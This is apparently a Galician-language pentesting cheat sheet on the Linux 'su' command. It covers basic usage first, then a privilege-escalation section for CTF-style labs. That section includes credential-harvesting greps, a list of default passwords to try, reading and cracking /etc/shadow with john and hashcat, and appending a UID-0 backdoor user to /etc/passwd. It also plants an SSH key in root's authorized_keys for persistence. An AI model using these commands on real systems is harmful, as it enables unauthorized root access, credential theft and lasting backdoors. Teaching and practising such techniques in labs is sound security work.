Ir ao contido

su - Cambiar de Usuario (Switch User)

Descrición

Comando para cambiar ao usuario root ou a calquera outro usuario do sistema. Require coñecer o contrasinal do usuario obxectivo.

Sintaxe básica

su [usuario]
su - [usuario]

Opcións principais

Opción Descrición
- ou -l Simular login completo (cargar entorno do usuario)
-c <comando> Executar comando como outro usuario
-s <shell> Especificar shell a usar
-p Preservar o entorno actual
-m Non cambiar variables de entorno

Exemplos de uso

Cambiar a root

# Cambiar a root (mantén algunhas variables de entorno)
su

# Cambiar a root con login completo (recomendado)
su -
su -l

# Executar comando como root sen cambiar de usuario
su -c "whoami"
su -c "cat /etc/shadow"

Cambiar a outro usuario

# Cambiar ao usuario john
su john
su - john

# Executar comando como john
su john -c "whoami"
su - john -c "id"

Con shell específica

# Usar bash como shell
su -s /bin/bash

# Usar sh como shell
su -s /bin/sh root

Uso en escalada de privilexios

Contrasinais atopados

# Se atopaches un contrasinal de root
su -
# Introducir contrasinal
# Verificar acceso
whoami
id

# Se atopaches contrasinal doutro usuario
su - john
# Verificar se ese usuario ten sudo
sudo -l

Contrasinais comúns a probar

# Contrasinais por defecto ou febles
su -
# Probar:
# password
# root
# toor
# admin
# 123456
# password123
# (nome da máquina)
# (nome do usuario)

# Se hai lista de contrasinais (wordlist)
# Usar hydra ou script personalizado

Despois de atopar credenciais

# 1. Atopar credenciais (exemplos)
cat /var/www/html/config.php | grep password
grep -r "password" /home/ 2>/dev/null
cat ~/.bash_history | grep -i pass

# 2. Probar credenciais con su
su -
# ou
su - otheruser

# 3. Verificar privilexios
id
sudo -l
groups

# 4. Se o usuario ten sudo
sudo su -
# ou
sudo /bin/bash

Diferenza entre su e su -

# su (sen guión)
# - Cambia usuario pero mantén algunhas variables de entorno
# - PWD non cambia
# - PATH pode non cambiar completamente
su
pwd  # Segue no directorio anterior

# su - (con guión)
# - Login completo, carga todo o entorno do usuario
# - Cambia a HOME do usuario
# - Carga .bashrc, .profile, etc.
su -
pwd  # Está en /root ou /home/usuario

Combinación con outras técnicas

Despois de atopar hash en /etc/shadow

# 1. Extraer hash
cat /etc/shadow | grep root
# root:$6$xyz...:18000:0:99999:7:::

# 2. Crack con john ou hashcat
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
hashcat -m 1800 hash.txt rockyou.txt

# 3. Usar contrasinal crackeado
su -
# Introducir contrasinal

Reutilización de contrasinais

# Se coñeces o contrasinal dun usuario
su - user1
password123

# Probar mesmo contrasinal para root ou outros usuarios
su -
password123

su - user2
password123

Despois de modificar /etc/passwd

# Se /etc/passwd é escribible (escalada de privilexios)
# Crear novo usuario con UID 0 (root)
echo 'hacker:$1$hacker$TzyKlv0IXct/aiFBr2FVQP.:0:0:root:/root:/bin/bash' >> /etc/passwd

# Contrasinal: hacker123
# Cambiar ao novo usuario
su hacker

Verificar acceso

# Despois de facer su
whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

# Ler flag ou ficheiros sensibles
cat /root/root.txt
cat /etc/shadow

# Establecer persistencia
cat ~/.ssh/id_rsa
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

Erros comúns e solucións

# "su: Authentication failure"
# - Contrasinal incorrecto
# - Probar con outros contrasinais atopados
# - Verificar se o usuario existe: cat /etc/passwd | grep username

# "This account is currently not available"
# - Usuario ten shell /usr/sbin/nologin ou /bin/false
# - Solución: su -s /bin/bash username

# "su: cannot open session: Permission denied"
# - Problemas con PAM
# - Verificar /etc/security/limits.conf

# Non pide contrasinal
# - Xa estás como root
# - PAM mal configurado (pouco común)

Alternativas a su

# sudo (se o usuario está en sudoers)
sudo -i
sudo su -
sudo /bin/bash

# Login directo (se tes acceso físico/SSH)
ssh root@localhost

# Exploits de kernel (se non hai credenciais)
# DirtyCow, etc.

Workflow completo de escalada

# 1. Enumeración - buscar credenciais
grep -r "password" /var/www/ 2>/dev/null
cat ~/.bash_history
cat /var/log/auth.log

# 2. Atopar credenciais
# user: admin
# pass: Welcome123

# 3. Probar con su
su admin
# Introducir: Welcome123

# 4. Verificar privilexios
sudo -l
# Pode executar sudo sen contrasinal!

# 5. Escalar a root
sudo su -

# 6. Verificar acceso root
whoami
id
cat /root/root.txt

Notas adicionais

  • su require coñecer o contrasinal do usuario obxectivo
  • Usar sempre su - para login completo (recomendado)
  • Se non funciona su -, probar con su a secas
  • Revisar /etc/passwd para ver que usuarios teñen shell válida
  • Usuarios con /sbin/nologin ou /bin/false non poden iniciar sesión normalmente
  • Contrasinais atopados en ficheiros de configuración adoitan reutilizarse
  • Sempre verificar /var/log/auth.log para ver intentos de autenticación
  • En CTFs, os contrasinais adoitan estar en ficheiros de configuración ou backups
  • Combinar con sudo -l despois de cambiar de usuario
  • su rexistra os intentos en /var/log/auth.log